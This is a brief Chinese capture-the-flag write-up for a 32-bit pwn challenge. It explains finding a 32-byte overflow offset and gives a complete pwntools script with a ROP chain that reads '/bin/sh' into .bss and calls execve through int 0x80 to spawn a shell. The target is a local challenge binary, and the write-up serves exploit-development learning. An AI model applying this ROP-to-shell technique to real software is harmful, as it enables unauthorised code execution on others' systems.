check
32位,只开了NX
这里就直接溢出,read读100字节,但是这里的偏移并不是 0x14+4
输入构造的字符后,可以看到eip的值被改成了 iaaa
cyclic -l iaaa
偏移实际上为32
下一步看一下 int 0x80 的位置
这里找到是有 int 0x80 的,地址为 0x80493e1
构造系统调用需要的:
sys_execve 系统调用号为 11
参数设置为 int80(11,"/bin/sh",null,null)
依次的寄存器为:
eax = 11
ebx = '/bin/sh'
ecx = 0
edx = 0
这里两条合起来恰好够用
而题目里面是没有'/bin/sh'的
所有又得写进去,函数里有 read 可以进行调用,read(0,&buf,8)
这题没开pie,所以可以直接写到 bss 去。
EXP:
from pwn import *
p = process('./pwn')
context.log_level = 'debug'
int_addr = 0x080493e1
pop_eax = 0x080bae06
read_addr= 0x0806CD50
binsh_addr = 0x080EB2AC
pop_edx_ecx_ebx = 0x0806e850
payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)
p.sendline(payload)
p.send('/bin/sh\x00') #调用read,需要再次发送一下字符串
p.interactive()
p.close()